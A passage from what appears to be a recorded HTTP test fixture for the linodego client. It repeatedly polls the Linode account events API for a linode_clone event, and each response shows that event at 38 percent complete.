"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.70052, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.774192, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.840745, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.90358, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 55.131921, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 55.198587, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 55.263991, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 55.331784, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 55.403799, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 55.475382, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 55.54163, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 55.622045, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 55.684278, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 55.751992, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 55.83433, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 55.896274, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.024843, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 